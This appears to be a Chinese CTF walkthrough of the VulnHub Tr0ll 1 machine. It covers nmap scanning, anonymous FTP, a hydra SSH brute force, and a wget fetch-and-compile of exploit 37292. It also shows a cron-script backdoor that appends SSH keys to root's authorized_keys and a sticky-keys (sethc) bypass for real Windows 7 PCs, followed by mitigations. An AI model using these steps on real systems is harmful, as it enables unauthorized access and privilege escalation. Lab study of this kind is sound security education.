本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com
靶机地址:https://www.vulnhub.com/entry/tr0ll-1,100/
靶机难度:简单(CTF)
靶机发布日期:2014 年 8 月 14 日
靶机描述:Tr0ll 的灵感来自 OSCP 实验室中不断摇曳的机器
目标:得到 root 权限 & 找到 proof.txt
请注意:对于所有这些计算机,我已经使用 VMware 运行下载的计算机。我将使用 Kali Linux 作为解决该 CTF 的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。
一、信息收集
我们在 VM 中需要确定攻击目标的 IP 地址,需要使用 nmap 获取目标 IP 地址:
我们已经找到了此次 CTF 目标计算机 IP 地址:192.168.145.149
我们开始探索机器。第一步是找出目标计算机上可用的开放端口和一些服务
命令:nmap -sS -sV -T5 -A -p- 192.168.145.149
我们可以在上面看到 Nmap 找到开放的端口 22、80,其中暴露的 robots.txt 和 / secret 目录,还有 FTP 带有匿名登录名:Anonymous FTP login allowed
遵循 Nmap 的线索,开始进行攻击
登陆 ftp,查看有啥有用信息,这里会用到 FTP 基础知识
查看当前目录,我们发现有一个名为 lol.pcap 的文件分析包,将文件下载到本地使用 Wireshark 打开查看(Wireshark 需要必须掌握的知识,不会的赶紧脑补)
wireshark 打开 lol.pcap 发现提示:
FTP Data ..........secret_stuff.txt
FTP Data Well, well, well, aren’t you just a clever little devil, you almost found the sup3rs3cr3tdirlol Sucks, you were so close… gotta TRY HARDER!(硬生生给你们手打出来的....)
鉴于只发现了 SSH/FTP/HTTP,英文说让我使用 root/sup3rs3cr3tdirlol 登陆 ssh 失败告终!
我以为我输入错了,经过错了几次,发现是个坑.... 哎
跳过这个... 继续寻找信息
从 web 渗透试试
没啥有用的信息,继续浏览 robots.txt
继续浏览 / secret
还是没什么好的信息,由于前面 wireshark 打开 lol.pcap 发现的信息 sup3rs3cr3tdirlol,我尝试着打开目录
这里我就试着打开,还真有信息....
下载 roflmao 文件并检查其类型
它是 32 位 ELF 可执行文件,使用 strings 字符串对其执行一些静态分析(前面章节有介绍)
进来看到笑脸...Find address 0x0856BF to proceed 意思是找到地址 0x0856BF
进入看看
发现有两个文件夹:
good_luck(进入查看包含文件 which_one_lol.txt)this_folder_contains_password(进入查看包含文件 pass.txt)
这应该是用户名,因为下面有个 pass 密码...
只有一个密码,将文件都下载下来... 使用九头蛇查看
命令:hydra -L which_one_lol.txt -p Pass.txt 192.168.145.149 ssh
login: overflow
password: Pass.txt
ssh 登陆查看信息
靶机正在运行 Ubuntu 14.04 和 3.13 内核,看看是否可以找到这些版本的任何特权升级漏洞
二、提权
访问 exploit 官网查看到可利用提权 shell
在 exploit 官网查看可以使用 37292 进行提权(之前文章也遇到过使用 37292 提权)
cp /usr/share/exploitdb/exploits/linux/local/37292.c /root 由于之前文章使用过我本地已经有 shell 了,然后使用 python 创建一个服务,通过服务上传 37292.c 到靶机中
命令:python -m SimpleHTTPServer 5555
使用 python 获得的 shell 权限后,得使用 ptyhon 获得 tty,使用
命令:python -c 'import pty; pty.spawn("/bin/bash")'
命令:wget http://192.168.145.143:5555/37292.c
gcc 37292.c -o dayu
./dayu
获得 root 权限,并查看 proof.txt 内容
三、提权方法
这台靶机你们会遇到登陆 ssh [email protected] 后会 2 分钟就自动断开会话超时,然后得重新连接,这边继续讲另外一种提权方法(我这边回家操作了 IP 地址变动了)
会话自动断开,原因可能是设置了计划任务
查看日志 / var/log/cronlog
继续查看信息 / lib/log/cleaner.py
cleaner.py 脚本是以 root 权限执行的,并且该脚本是全局可写的,那么我们就可以利用这一点进行提权
使用 ssh-keygen(用来生成 ssh 公钥认证所需的公钥和私钥文件)
目录默认、密码 Pass.txt、反复输入密码即可在 / root/.ssh / 目录生成 id_rsa、 id_rsa.pub 文件
将 id_rsa.pub 产生的密匙内容复制到文本中
使用 vim 修改 cleaner.py 文件
命令:
#!/usr/bin/env python
import os
import sys
try:
os.system('mkdir /root/.ssh; chmod 775 .ssh; echo" 加上 id_rsa.pub 产生的密匙内容上图有例子 ">> /root/.ssh/authorized_keys')
except:
sys.exit()
这脚本提供给大家,收藏慢慢累积学习
出来后直接执行 ssh [email protected],然后输入 Pass.txt 即可登录
这边的例子请用在正途!!后面还可以用反弹 shell,或者自己写木马 shell 去提权,目前我还比较菜... 在努力脑补!!
不缺乏更多的方式方法,方法知晓记得越来越多,网络安全就会在你面前形同一张纸,你想进入就动动手指即可!!
此文章还未完...
由于我好朋友都和我说看不懂我的文章,我后期会陆陆续续分享一些生活中能简单利用的 windows 漏洞!
此方法针对的是未打最新补丁的用户(目前我身边的人 windows 都有这个漏洞... 看到的尽快打上补丁)
继续讲解的是利用 5 次 shift 漏洞破解 win7 密码
连续按 5 次 shift 如果出现了和上图一样的界面,就存在此可利用漏洞!!!
如果存在,右下角重新启动电脑
然后在上图 “** 正在启动 Windows**” 界面强制关机,拔掉电源即可....!!!
在开机!!
开机后会出现 ** 进入启动启动修复(推荐)** 选项界面,选择修复
修复会进入这个界面,千万别点还原..... 点取消
点查看问题详情
点击 erofflps.txt 目录
到 C 盘 system32 目录下往下翻能看到蓝色的图标名称:sethc
重命名文件改 123(名称随意改)
继续往下找到黑色图标:CMD 文件
复制一个 cmd!!!
将复制的 cmd 副本改名
改成 sethc
然后关掉记事本文件
完成重启即可
到用户密码输入界面连续按 5 次 shift 即可出现上图,到了这儿下一步我就不教了,希望大家慎重!!
下面我教大家修复的办法:
这方法只能缓解,有时候重启电脑就不生效了,如果系统盘为 NTFS 文件系统,可以将 sytem32 下的 sethc.exe 文件设为 everyone 拒绝访问, 或者直接将其删除,最好的方法是在控制面板 - 辅助功能选项 - 粘滞键选项,将 “使用快捷键” 取消即可。
最有效的方法就是更新系统补丁至最新!!!!!
由于我们已经成功得到 root 权限 & 找到 proof.txt,因此完成了 CTF 靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。
如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。
星球每月都有网络安全书籍赠送、各种渗透干货分享、小伙伴们深入交流渗透,一起成长学习!